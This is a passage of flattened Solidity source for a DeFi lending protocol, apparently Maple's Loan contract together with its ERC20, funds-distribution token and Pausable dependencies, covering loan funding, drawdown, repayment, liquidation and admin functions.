_transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } ////// contracts/token/BasicFDT.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SignedSafeMath.sol"; */ /* import "./interfaces/IBaseFDT.sol"; */ /* import "../math/SafeMathUint.sol"; */ /* import "../math/SafeMathInt.sol"; */ /// @title BasicFDT implements base level FDT functionality for accounting for revenues. abstract contract BasicFDT is IBaseFDT, ERC20 { using SafeMath for uint256; using SafeMathUint for uint256; using SignedSafeMath for int256; using SafeMathInt for int256; uint256 internal constant pointsMultiplier = 2 ** 128; uint256 internal pointsPerShare; mapping(address => int256) internal pointsCorrection; mapping(address => uint256) internal withdrawnFunds; event PointsPerShareUpdated(uint256 pointsPerShare); event PointsCorrectionUpdated(address indexed account, int256 pointsCorrection); constructor(string memory name, string memory symbol) ERC20(name, symbol) public { } /** @dev Distributes funds to token holders. @dev It reverts if the total supply of tokens is 0. @dev It emits a `FundsDistributed` event if the amount of received funds is greater than 0. @dev It emits a `PointsPerShareUpdated` event if the amount of received funds is greater than 0. About undistributed funds: In each distribution, there is a small amount of funds which do not get distributed, which is `(value pointsMultiplier) % totalSupply()`. With a well-chosen `pointsMultiplier`, the amount funds that are not getting distributed in a distribution can be less than 1 (base unit). We can actually keep track of the undistributed funds in a distribution and try to distribute it in the next distribution. */ function _distributeFunds(uint256 value) internal { require(totalSupply() > 0, "FDT:ZERO_SUPPLY"); if (value == 0) return; pointsPerShare = pointsPerShare.add(value.mul(pointsMultiplier) / totalSupply()); emit FundsDistributed(msg.sender, value); emit PointsPerShareUpdated(pointsPerShare); } /** @dev Prepares the withdrawal of funds. @dev It emits a `FundsWithdrawn` event if the amount of withdrawn funds is greater than 0. @return withdrawableDividend The amount of dividend funds that can be withdrawn. */ function _prepareWithdraw() internal returns (uint256 withdrawableDividend) { withdrawableDividend = withdrawableFundsOf(msg.sender); uint256 _withdrawnFunds = withdrawnFunds[msg.sender].add(withdrawableDividend); withdrawnFunds[msg.sender] = _withdrawnFunds; emit FundsWithdrawn(msg.sender, withdrawableDividend, _withdrawnFunds); } /** @dev Returns the amount of funds that an account can withdraw. @param _owner The address of a token holder. @return The amount funds that `_owner` can withdraw. */ function withdrawableFundsOf(address _owner) public view override returns (uint256) { return accumulativeFundsOf(_owner).sub(withdrawnFunds[_owner]); } /** @dev Returns the amount of funds that an account has withdrawn. @param _owner The address of a token holder. @return The amount of funds that `_owner` has withdrawn. */ function withdrawnFundsOf(address _owner) external view returns (uint256) { return withdrawnFunds[_owner]; } /** @dev Returns the amount of funds that an account has earned in total. @dev accumulativeFundsOf(_owner) = withdrawableFundsOf(_owner) + withdrawnFundsOf(_owner) = (pointsPerShare * balanceOf(_owner) + pointsCorrection[_owner]) / pointsMultiplier @param _owner The address of a token holder. @return The amount of funds that `_owner` has earned in total. */ function accumulativeFundsOf(address _owner) public view returns (uint256) { return pointsPerShare .mul(balanceOf(_owner)) .toInt256Safe() .add(pointsCorrection[_owner]) .toUint256Safe() / pointsMultiplier; } /** @dev Transfers tokens from one account to another. Updates pointsCorrection to keep funds unchanged. @dev It emits two `PointsCorrectionUpdated` events, one for the sender and one for the receiver. @param from The address to transfer from. @param to The address to transfer to. @param value The amount to be transferred. */ function _transfer( address from, address to, uint256 value ) internal virtual override { super._transfer(from, to, value); int256 _magCorrection = pointsPerShare.mul(value).toInt256Safe(); int256 pointsCorrectionFrom = pointsCorrection[from].add(_magCorrection); pointsCorrection[from] = pointsCorrectionFrom; int256 pointsCorrectionTo = pointsCorrection[to].sub(_magCorrection); pointsCorrection[to] = pointsCorrectionTo; emit PointsCorrectionUpdated(from, pointsCorrectionFrom); emit PointsCorrectionUpdated(to, pointsCorrectionTo); } /** @dev Mints tokens to an account. Updates pointsCorrection to keep funds unchanged. @param account The account that will receive the created tokens. @param value The amount that will be created. */ function _mint(address account, uint256 value) internal virtual override { super._mint(account, value); int256 _pointsCorrection = pointsCorrection[account].sub( (pointsPerShare.mul(value)).toInt256Safe() ); pointsCorrection[account] = _pointsCorrection; emit PointsCorrectionUpdated(account, _pointsCorrection); } /** @dev Burns an amount of the token of a given account. Updates pointsCorrection to keep funds unchanged. @dev It emits a `PointsCorrectionUpdated` event. @param account The account whose tokens will be burnt. @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal virtual override { super._burn(account, value); int256 _pointsCorrection = pointsCorrection[account].add( (pointsPerShare.mul(value)).toInt256Safe() ); pointsCorrection[account] = _pointsCorrection; emit PointsCorrectionUpdated(account, _pointsCorrection); } /** @dev Withdraws all available funds for a token holder. */ function withdrawFunds() public virtual override {} /** @dev Updates the current `fundsToken` balance and returns the difference of the new and previous `fundsToken` balance. @return A int256 representing the difference of the new and previous `fundsToken` balance. */ function _updateFundsTokenBalance() internal virtual returns (int256) {} /** @dev Registers a payment of funds in tokens. May be called directly after a deposit is made. @dev Calls _updateFundsTokenBalance(), whereby the contract computes the delta of the new and previous `fundsToken` balance and increments the total received funds (cumulative), by delta, by calling _distributeFunds(). */ function updateFundsReceived() public virtual { int256 newFunds = _updateFundsTokenBalance(); if (newFunds <= 0) return; _distributeFunds(newFunds.toUint256Safe()); } } ////// contracts/token/LoanFDT.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */ /* import "./BasicFDT.sol"; */ /// @title LoanFDT inherits BasicFDT and uses the original ERC-2222 logic. abstract contract LoanFDT is BasicFDT { using SafeMath for uint256; using SafeMathUint for uint256; using SignedSafeMath for int256; using SafeMathInt for int256; using SafeERC20 for IERC20; IERC20 public immutable fundsToken; // The `fundsToken` (dividends). uint256 public fundsTokenBalance; // The amount of `fundsToken` (Liquidity Asset) currently present and accounted for in this contract. constructor(string memory name, string memory symbol, address _fundsToken) BasicFDT(name, symbol) public { fundsToken = IERC20(_fundsToken); } /** @dev Withdraws all available funds for a token holder. */ function withdrawFunds() public virtual override { uint256 withdrawableFunds = _prepareWithdraw(); if (withdrawableFunds > uint256(0)) { fundsToken.safeTransfer(msg.sender, withdrawableFunds); _updateFundsTokenBalance(); } } /** @dev Updates the current `fundsToken` balance and returns the difference of the new and previous `fundsToken` balance. @return A int256 representing the difference of the new and previous `fundsToken` balance. */ function _updateFundsTokenBalance() internal virtual override returns (int256) { uint256 _prevFundsTokenBalance = fundsTokenBalance; fundsTokenBalance = fundsToken.balanceOf(address(this)); return int256(fundsTokenBalance).sub(int256(_prevFundsTokenBalance)); } } ////// lib/openzeppelin-contracts/contracts/utils/Pausable.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* import "../GSN/Context.sol"; */ /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } ////// contracts/Loan.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/utils/Pausable.sol"; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */ /* import "./interfaces/ICollateralLocker.sol"; */ /* import "./interfaces/ICollateralLockerFactory.sol"; */ /* import "./interfaces/IERC20Details.sol"; */ /* import "./interfaces/IFundingLocker.sol"; */ /* import "./interfaces/IFundingLockerFactory.sol"; */ /* import "./interfaces/IMapleGlobals.sol"; */ /* import "./interfaces/ILateFeeCalc.sol"; */ /* import "./interfaces/ILiquidityLocker.sol"; */ /* import "./interfaces/ILoanFactory.sol"; */ /* import "./interfaces/IPool.sol"; */ /* import "./interfaces/IPoolFactory.sol"; */ /* import "./interfaces/IPremiumCalc.sol"; */ /* import "./interfaces/IRepaymentCalc.sol"; */ /* import "./interfaces/IUniswapRouter.sol"; */ /* import "./library/Util.sol"; */ /* import "./library/LoanLib.sol"; */ /* import "./token/LoanFDT.sol"; */ /// @title Loan maintains all accounting and functionality related to Loans. contract Loan is LoanFDT, Pausable { using SafeMathInt for int256; using SignedSafeMath for int256; using SafeMath for uint256; using SafeERC20 for IERC20; /** Ready = The Loan has been initialized and is ready for funding (assuming funding period hasn't ended) Active = The Loan has been drawdown and the Borrower is making payments Matured = The Loan is fully paid off and has "matured" Expired = The Loan did not initiate, and all funding was returned to Lenders Liquidated = The Loan has been liquidated */ enum State { Ready, Active, Matured, Expired, Liquidated } State public loanState; // The current state of this Loan, as defined in the State enum below. IERC20 public immutable liquidityAsset; // The asset deposited by Lenders into the FundingLocker, when funding this Loan. IERC20 public immutable collateralAsset; // The asset deposited by Borrower into the CollateralLocker, for collateralizing this Loan. address public immutable fundingLocker; // The FundingLocker that holds custody of Loan funds before drawdown. address public immutable flFactory; // The FundingLockerFactory. address public immutable collateralLocker; // The CollateralLocker that holds custody of Loan collateral. address public immutable clFactory; // The CollateralLockerFactory. address public immutable borrower; // The Borrower of this Loan, responsible for repayments. address public immutable repaymentCalc; // The RepaymentCalc for this Loan. address public immutable lateFeeCalc; // The LateFeeCalc for this Loan. address public immutable premiumCalc; // The PremiumCalc for this Loan. address public immutable superFactory; // The LoanFactory that deployed this Loan. mapping(address => bool) public loanAdmins; // Admin addresses that have permission to do certain operations in case of disaster management. uint256 public nextPaymentDue; // The unix timestamp due date of the next payment. // Loan specifications uint256 public immutable apr; // The APR in basis points. uint256 public paymentsRemaining; // The number of payments remaining on the Loan. uint256 public immutable termDays; // The total length of the Loan term in days. uint256 public immutable paymentIntervalSeconds; // The time between Loan payments in seconds. uint256 public immutable requestAmount; // The total requested amount for Loan. uint256 public immutable collateralRatio; // The percentage of value of the drawdown amount to post as collateral in basis points. uint256 public immutable createdAt; // The timestamp of when Loan was instantiated. uint256 public immutable fundingPeriod; // The time for a Loan to be funded in seconds. uint256 public immutable defaultGracePeriod; // The time a Borrower has, after a payment is due, to make a payment before a liquidation can occur. // Accounting variables uint256 public principalOwed; // The amount of principal owed (initially the drawdown amount). uint256 public principalPaid; // The amount of principal that has been paid by the Borrower since the Loan instantiation. uint256 public interestPaid; // The amount of interest that has been paid by the Borrower since the Loan instantiation. uint256 public feePaid; // The amount of fees that have been paid by the Borrower since the Loan instantiation. uint256 public excessReturned; // The amount of excess that has been returned to the Lenders after the Loan drawdown. // Liquidation variables uint256 public amountLiquidated; // The amount of Collateral Asset that has been liquidated after default. uint256 public amountRecovered; // The amount of Liquidity Asset that has been recovered after default. uint256 public defaultSuffered; // The difference between `amountRecovered` and `principalOwed` after liquidation. uint256 public liquidationExcess; // If `amountRecovered > principalOwed`, this is the amount of Liquidity Asset that is to be returned to the Borrower. event LoanFunded(address indexed fundedBy, uint256 amountFunded); event BalanceUpdated(address indexed account, address indexed token, uint256 balance); event Drawdown(uint256 drawdownAmount); event LoanStateChanged(State state); event LoanAdminSet(address indexed loanAdmin, bool allowed); event PaymentMade( uint256 totalPaid, uint256 principalPaid, uint256 interestPaid, uint256 paymentsRemaining, uint256 principalOwed, uint256 nextPaymentDue, bool latePayment ); event Liquidation( uint256 collateralSwapped, uint256 liquidityAssetReturned, uint256 liquidationExcess, uint256 defaultSuffered ); /** @dev Constructor for a Loan. @dev It emits a `LoanStateChanged` event. @param _borrower Will receive the funding when calling `drawdown()`. Is also responsible for repayments. @param _liquidityAsset The asset the Borrower is requesting funding in. @param _collateralAsset The asset provided as collateral by the Borrower. @param _flFactory Factory to instantiate FundingLocker with. @param _clFactory Factory to instantiate CollateralLocker with. @param specs Contains specifications for this Loan. specs[0] = apr specs[1] = termDays specs[2] = paymentIntervalDays (aka PID) specs[3] = requestAmount specs[4] = collateralRatio @param calcs The calculators used for this Loan. calcs[0] = repaymentCalc calcs[1] = lateFeeCalc calcs[2] = premiumCalc */ constructor( address _borrower, address _liquidityAsset, address _collateralAsset, address _flFactory, address _clFactory, uint256[5] memory specs, address[3] memory calcs ) LoanFDT("Maple Loan Token", "MPL-LOAN", _liquidityAsset) public { IMapleGlobals globals = _globals(msg.sender); // Perform validity cross-checks. LoanLib.loanSanityChecks(globals, _liquidityAsset, _collateralAsset, specs); borrower = _borrower; liquidityAsset = IERC20(_liquidityAsset); collateralAsset = IERC20(_collateralAsset); flFactory = _flFactory; clFactory = _clFactory; createdAt = block.timestamp; // Update state variables. apr = specs[0]; termDays = specs[1]; paymentsRemaining = specs[1].div(specs[2]); paymentIntervalSeconds = specs[2].mul(1 days); requestAmount = specs[3]; collateralRatio = specs[4]; fundingPeriod = globals.fundingPeriod(); defaultGracePeriod = globals.defaultGracePeriod(); repaymentCalc = calcs[0]; lateFeeCalc = calcs[1]; premiumCalc = calcs[2]; superFactory = msg.sender; // Deploy lockers. collateralLocker = ICollateralLockerFactory(_clFactory).newLocker(_collateralAsset); fundingLocker = IFundingLockerFactory(_flFactory).newLocker(_liquidityAsset); emit LoanStateChanged(State.Ready); } /**************************/ /*** Borrower Functions ***/ /**************************/ /** @dev Draws down funding from FundingLocker, posts collateral, and transitions the Loan state from `Ready` to `Active`. Only the Borrower can call this function. @dev It emits four `BalanceUpdated` events. @dev It emits a `LoanStateChanged` event. @dev It emits a `Drawdown` event. @param amt Amount of Liquidity Asset the Borrower draws down. Remainder is returned to the Loan where it can be claimed back by LoanFDT holders. */ function drawdown(uint256 amt) external { _whenProtocolNotPaused(); _isValidBorrower(); _isValidState(State.Ready); IMapleGlobals globals = _globals(superFactory); IFundingLocker _fundingLocker = IFundingLocker(fundingLocker); require(amt >= requestAmount, "L:AMT_LT_REQUEST_AMT"); require(amt <= _getFundingLockerBalance(), "L:AMT_GT_FUNDED_AMT"); // Update accounting variables for the Loan. principalOwed = amt; nextPaymentDue = block.timestamp.add(paymentIntervalSeconds); loanState = State.Active; // Transfer the required amount of collateral for drawdown from the Borrower to the CollateralLocker. collateralAsset.safeTransferFrom(borrower, collateralLocker, collateralRequiredForDrawdown(amt)); // Transfer funding amount from the FundingLocker to the Borrower, then drain remaining funds to the Loan. uint256 treasuryFee = globals.treasuryFee(); uint256 investorFee = globals.investorFee(); address treasury = globals.mapleTreasury(); uint256 _feePaid = feePaid = amt.mul(investorFee).div(10_000); // Update fees paid for `claim()`. uint256 treasuryAmt = amt.mul(treasuryFee).div(10_000); // Calculate amount to send to the MapleTreasury. _transferFunds(_fundingLocker, treasury, treasuryAmt); // Send the treasury fee directly to the MapleTreasury. _transferFunds(_fundingLocker, borrower, amt.sub(treasuryAmt).sub(_feePaid)); // Transfer drawdown amount to the Borrower. // Update excessReturned for `claim()`. excessReturned = _getFundingLockerBalance().sub(_feePaid); // Drain remaining funds from the FundingLocker (amount equal to `excessReturned` plus `feePaid`) _fundingLocker.drain(); // Call `updateFundsReceived()` update LoanFDT accounting with funds received from fees and excess returned. updateFundsReceived(); _emitBalanceUpdateEventForCollateralLocker(); _emitBalanceUpdateEventForFundingLocker(); _emitBalanceUpdateEventForLoan(); emit BalanceUpdated(treasury, address(liquidityAsset), liquidityAsset.balanceOf(treasury)); emit LoanStateChanged(State.Active); emit Drawdown(amt); } /** @dev Makes a payment for this Loan. Amounts are calculated for the Borrower. */ function makePayment() external { _whenProtocolNotPaused(); _isValidState(State.Active); (uint256 total, uint256 principal, uint256 interest,, bool paymentLate) = getNextPayment(); --paymentsRemaining; _makePayment(total, principal, interest, paymentLate); } /** @dev Makes the full payment for this Loan (a.k.a. "calling" the Loan). This requires the Borrower to pay a premium fee. */ function makeFullPayment() external { _whenProtocolNotPaused(); _isValidState(State.Active); (uint256 total, uint256 principal, uint256 interest) = getFullPayment(); paymentsRemaining = uint256(0); _makePayment(total, principal, interest, false); } /** @dev Updates the payment variables and transfers funds from the Borrower into the Loan. @dev It emits one or two `BalanceUpdated` events (depending if payments remaining). @dev It emits a `LoanStateChanged` event if no payments remaining. @dev It emits a `PaymentMade` event. */ function _makePayment(uint256 total, uint256 principal, uint256 interest, bool paymentLate) internal { // Caching to reduce `SLOADs`. uint256 _paymentsRemaining = paymentsRemaining; // Update internal accounting variables. interestPaid = interestPaid.add(interest); if (principal > uint256(0)) principalPaid = principalPaid.add(principal); if (_paymentsRemaining > uint256(0)) { // Update info related to next payment and, if needed, decrement principalOwed. nextPaymentDue = nextPaymentDue.add(paymentIntervalSeconds); if (principal > uint256(0)) principalOwed = principalOwed.sub(principal); } else { // Update info to close loan. principalOwed = uint256(0); loanState = State.Matured; nextPaymentDue = uint256(0); // Transfer all collateral back to the Borrower. ICollateralLocker(collateralLocker).pull(borrower, _getCollateralLockerBalance()); _emitBalanceUpdateEventForCollateralLocker(); emit LoanStateChanged(State.Matured); } // Loan payer sends funds to the Loan. liquidityAsset.safeTransferFrom(msg.sender, address(this), total); // Update FDT accounting with funds received from interest payment. updateFundsReceived(); emit PaymentMade( total, principal, interest, _paymentsRemaining, principalOwed, _paymentsRemaining > 0 ? nextPaymentDue : 0, paymentLate ); _emitBalanceUpdateEventForLoan(); } /************************/ /*** Lender Functions ***/ /************************/ /** @dev Funds this Loan and mints LoanFDTs for `mintTo` (DebtLocker in the case of Pool funding). Only LiquidityLocker using valid/approved Pool can call this function. @dev It emits a `LoanFunded` event. @dev It emits a `BalanceUpdated` event. @param amt Amount to fund the Loan. @param mintTo Address that LoanFDTs are minted to. */ function fundLoan(address mintTo, uint256 amt) whenNotPaused external { _whenProtocolNotPaused(); _isValidState(State.Ready); _isValidPool(); _isWithinFundingPeriod(); liquidityAsset.safeTransferFrom(msg.sender, fundingLocker, amt); uint256 wad = _toWad(amt); // Convert to WAD precision. _mint(mintTo, wad); // Mint LoanFDTs to `mintTo` (i.e DebtLocker contract). emit LoanFunded(mintTo, amt); _emitBalanceUpdateEventForFundingLocker(); } /** @dev Handles returning capital to the Loan, where it can be claimed back by LoanFDT holders, if the Borrower has not drawn down on the Loan past the drawdown grace period. @dev It emits a `LoanStateChanged` event. */ function unwind() external { _whenProtocolNotPaused(); _isValidState(State.Ready); // Update accounting for `claim()` and transfer funds from FundingLocker to Loan. excessReturned = LoanLib.unwind(liquidityAsset, fundingLocker, createdAt, fundingPeriod); updateFundsReceived(); // Transition state to `Expired`. loanState = State.Expired; emit LoanStateChanged(State.Expired); } /** @dev Triggers a default if the Loan meets certain default conditions, liquidating all collateral and updating accounting. Only the an account with sufficient LoanFDTs of this Loan can call this function. @dev It emits a `BalanceUpdated` event. @dev It emits a `Liquidation` event. @dev It emits a `LoanStateChanged` event. */ function triggerDefault() external { _whenProtocolNotPaused(); _isValidState(State.Active); require(LoanLib.canTriggerDefault(nextPaymentDue, defaultGracePeriod, superFactory, balanceOf(msg.sender), totalSupply()), "L:FAILED_TO_LIQ"); // Pull the Collateral Asset from the CollateralLocker, swap to the Liquidity Asset, and hold custody of the resulting Liquidity Asset in the Loan. (amountLiquidated, amountRecovered) = LoanLib.liquidateCollateral(collateralAsset, address(liquidityAsset), superFactory, collateralLocker); _emitBalanceUpdateEventForCollateralLocker(); // Decrement `principalOwed` by `amountRecovered`, set `defaultSuffered` to the difference (shortfall from the liquidation). if (amountRecovered <= principalOwed) { principalOwed = principalOwed.sub(amountRecovered); defaultSuffered = principalOwed; } // Set `principalOwed` to zero and return excess value from the liquidation back to the Borrower. else { liquidationExcess = amountRecovered.sub(principalOwed); principalOwed = 0; liquidityAsset.safeTransfer(borrower, liquidationExcess); // Send excess to the Borrower. } // Update LoanFDT accounting with funds received from the liquidation. updateFundsReceived(); // Transition `loanState` to `Liquidated` loanState = State.Liquidated; emit Liquidation( amountLiquidated, // Amount of Collateral Asset swapped. amountRecovered, // Amount of Liquidity Asset recovered from swap. liquidationExcess, // Amount of Liquidity Asset returned to borrower. defaultSuffered // Remaining losses after the liquidation. ); emit LoanStateChanged(State.Liquidated); } /***********************/ /*** Admin Functions ***/ /***********************/ /** @dev Triggers paused state. Halts functionality for certain functions. Only the Borrower or a Loan Admin can call this function. */ function pause() external { _isValidBorrowerOrLoanAdmin(); super._pause(); } /** @dev Triggers unpaused state. Restores functionality for certain functions. Only the Borrower or a Loan Admin can call this function. */ function unpause() external { _isValidBorrowerOrLoanAdmin(); super._unpause(); } /** @dev Sets a Loan Admin. Only the Borrower can call this function. @dev It emits a `LoanAdminSet` event. @param loanAdmin An address being allowed or disallowed as a Loan Admin. @param allowed Status of a Loan Admin. */ function setLoanAdmin(address loanAdmin, bool allowed) external { _whenProtocolNotPaused(); _isValidBorrower(); loanAdmins[loanAdmin] = allowed; emit LoanAdminSet(loanAdmin, allowed); } /**************************/ /*** Governor Functions ***/ /**************************/ /** @dev Transfers any locked funds to the Governor. Only the Governor can call this function. @param token Address of the token to be reclaimed. */ function reclaimERC20(address token) external { LoanLib.reclaimERC20(token, address(liquidityAsset), _globals(superFactory)); } /*********************/ /*** FDT Functions ***/ /*********************/ /** @dev Withdraws all available funds earned through LoanFDT for a token holder. @dev It emits a `BalanceUpdated` event. */ function withdrawFunds() public override { _whenProtocolNotPaused(); super.withdrawFunds(); emit BalanceUpdated(address(this), address(fundsToken), fundsToken.balanceOf(address(this))); } /************************/ /*** Getter Functions ***/ /************************/ /** @dev Returns the expected amount of Liquidity Asset to be recovered from a liquidation based on current oracle prices. @return The minimum amount of Liquidity Asset that can be expected by swapping Collateral Asset. */ function getExpectedAmountRecovered() external view returns (uint256) { uint256 liquidationAmt = _getCollateralLockerBalance(); return Util.calcMinAmount(_globals(superFactory), address(collateralAsset), address(liquidityAsset), liquidationAmt); } /** @dev Returns information of the next payment amount. @return [0] = Entitled interest of the next payment (Principal + Interest only when the next payment is last payment of the Loan) [1] = Entitled principal amount needed to be paid in the next payment [2] = Entitled interest amount needed to be paid in the next payment [3] = Payment Due Date [4] = Is Payment Late */ function getNextPayment() public view returns (uint256, uint256, uint256, uint256, bool) { return LoanLib.getNextPayment(repaymentCalc, nextPaymentDue, lateFeeCalc); } /** @dev Returns the information of a full payment amount. @return total Principal and interest owed, combined. @return principal Principal owed. @return interest Interest owed. */ function getFullPayment() public view returns (uint256 total, uint256 principal, uint256 interest) { (total, principal, interest) = LoanLib.getFullPayment(repaymentCalc, nextPaymentDue, lateFeeCalc, premiumCalc); } /** @dev Calculates the collateral required to draw down amount. @param amt The amount of the Liquidity Asset to draw down from the FundingLocker. @return The amount of the Collateral Asset required to post in the CollateralLocker for a given drawdown amount. */ function collateralRequiredForDrawdown(uint256 amt) public view returns (uint256) { return LoanLib.collateralRequiredForDrawdown( IERC20Details(address(collateralAsset)), IERC20Details(address(liquidityAsset)), collateralRatio, superFactory, amt ); } /************************/ /*** Helper Functions ***/ /************************/ /** @dev Checks that the protocol is not in a paused state. */ function _whenProtocolNotPaused() internal view { require(!_globals(superFactory).protocolPaused(), "L:PROTO_PAUSED"); } /** @dev Checks that `msg.sender` is the Borrower or a Loan Admin. */ function _isValidBorrowerOrLoanAdmin() internal view { require(msg.sender == borrower || loanAdmins[msg.sender], "L:NOT_BORROWER_OR_ADMIN"); } /** @dev Converts to WAD precision. */ function _toWad(uint256 amt) internal view returns (uint256) { return amt.mul(10 ** 18).div(10 ** IERC20Details(address(liquidityAsset)).decimals()); } /** @dev Returns the MapleGlobals instance. */ function _globals(address loanFactory) internal view returns (IMapleGlobals) { return IMapleGlobals(ILoanFactory(loanFactory).globals()); } /** @dev Returns the CollateralLocker balance. */ function _getCollateralLockerBalance() internal view returns (uint256) { return collateralAsset.balanceOf(collateralLocker); } /** @dev Returns the FundingLocker balance. */ function _getFundingLockerBalance() internal view returns (uint256) { return liquidityAsset.balanceOf(fundingLocker); } /** @dev Checks that the current state of the Loan matches the provided state. @param _state Enum of desired Loan state. */ function _isValidState(State _state) internal view { require(loanState == _state, "L:INVALID_STATE"); } /** @dev Checks that `msg.sender` is the Borrower. */ function _isValidBorrower() internal view { require(msg.sender == borrower, "L:NOT_BORROWER"); } /** @dev Checks that `msg.sender` is a Lender (LiquidityLocker) that is using an approved Pool to fund the Loan. */ function _isValidPool() internal view { address pool = ILiquidityLocker(msg.sender).pool(); address poolFactory = IPool(pool).superFactory(); require( _globals(superFactory).isValidPoolFactory(poolFactory) && IPoolFactory(poolFactory).isPool(pool), "L:INVALID_LENDER" ); } /** @dev Checks that "now" is currently within the funding period. */ function _isWithinFundingPeriod() internal view { require(block.timestamp <= createdAt.add(fundingPeriod), "L:PAST_FUNDING_PERIOD"); } /** @dev Transfers funds from the FundingLocker. @param from Instance of the FundingLocker. @param to Address to send funds to. @param value Amount to send. */ function _transferFunds(IFundingLocker from, address to, uint256 value) internal { from.pull(to, value); } /** @dev Emits a `BalanceUpdated` event for the Loan. @dev It emits a `BalanceUpdated` event. */ function _emitBalanceUpdateEventForLoan() internal { emit BalanceUpdated(address(this), address(liquidityAsset), liquidityAsset.balanceOf(address(this))); } /** @dev Emits a `BalanceUpdated` event for the FundingLocker. @dev It emits a `BalanceUpdated` event. */ function _emitBalanceUpdateEventForFundingLocker() internal { emit BalanceUpdated(fundingLocker, address(liquidityAsset), _getFundingLockerBalance()); } /** @dev Emits a `BalanceUpdated` event for the CollateralLocker. @dev It emits a `BalanceUpdated` event. */ function _emitBalanceUpdateEventForCollateralLocker() internal { emit BalanceUpdated(collateralLocker, 